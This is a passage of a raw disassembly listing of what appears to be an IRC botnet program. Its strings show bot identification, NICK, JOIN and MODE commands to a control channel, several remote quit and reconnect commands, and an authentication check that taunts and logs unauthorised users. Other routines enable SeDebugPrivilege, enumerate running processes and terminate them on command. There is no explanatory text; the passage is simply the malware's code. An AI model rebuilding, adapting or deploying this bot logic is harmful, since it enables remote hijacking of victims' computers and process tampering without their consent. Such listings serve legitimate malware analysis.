push offset sub_41533B push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h nop call near ptr 2630F90h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj call near ptr 2670ADCh nop push eax push offset unk_42FDF4 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_42FDCC push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43AE30 call dword_43ACF8 call sub_40AC42 push ebx call near ptr 77E75CB5h nop loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FDA4 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FD7C jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_42FD54 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 2630F90h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j call near ptr 2670ADCh nop push eax push offset dword_42FD0C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_42FCE4 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_42FCE0 push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_42FCB4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 2630F90h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j nop call near ptr 2670ADCh push eax push offset dword_42FC6C loc_414AB4: ; CODE XREF: sub_40EE72+489Dj ; sub_40EE72+49B9j lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4527j ; sub_40EE72+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_42FC44 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_4CD5F0 call sub_40B721 pop ecx push eax push offset dword_42FC08 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FBB8 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FB78 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_42FB68 push offset dword_42FB5C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_42FB50 push offset dword_42FB40 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h call near ptr 2630F90h nop jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j nop call near ptr 2670ADCh push eax push offset unk_42FAF8 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_42FAAC lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h nop call near ptr 2630F90h jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 2670ADCh nop push eax push offset unk_42FA60 loc_414E02: ; CODE XREF: sub_40EE72+3DA5j ; sub_40EE72+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_42FA40 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_432E08 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_42FA04 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_42F9C8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_432E08 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_42F994 loc_414F40: ; CODE XREF: sub_40EE72+4344j ; sub_40EE72+49D7j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_432E84 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_436EF4 push ebx inc esi call sub_418B6E push offset asc_42F990 ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F908 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C8 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6CC jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F8CC jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_42F8A0 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_42F870 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_4CD76C, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 27A0DABh push eax call dword_43AD7C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43AD54 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43AE04 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] nop call near ptr 2651922h mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B66p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43ADB8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43AD9C, ebx jz loc_415334 cmp dword_43ACB8, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43ADB8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43AD9C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43ACB8 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43ADB8 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43AC64 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2740795h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27F0BA6h test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_432F08 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_432ED0 jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_432E98 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi nop call near ptr 26302E2h pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B08p ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2740795h mov esi, eax test esi, esi jz short loc_41544B push 0 push esi nop call near ptr 27F0BA6h test eax, eax jnz short loc_41544B push esi xor edi, edi call near ptr 2651922h nop loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4407FC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43AD80 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 26302E2h nop loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43ADB0 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43ACF4 test eax, eax jz short loc_41557D call dword_43AD2C push eax push offset dword_432FFC call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi call near ptr 26302E2h nop loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43AD50 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43AE24 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_436EDC push dword ptr [esi] call dword_43ADE8 cmp dword_4CD77C, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 26302E2h loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432FB0 call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E nop call near ptr 2670ADCh push eax push offset dword_432F74 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx nop call near ptr 26302E2h loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432F3C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 26302E2h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 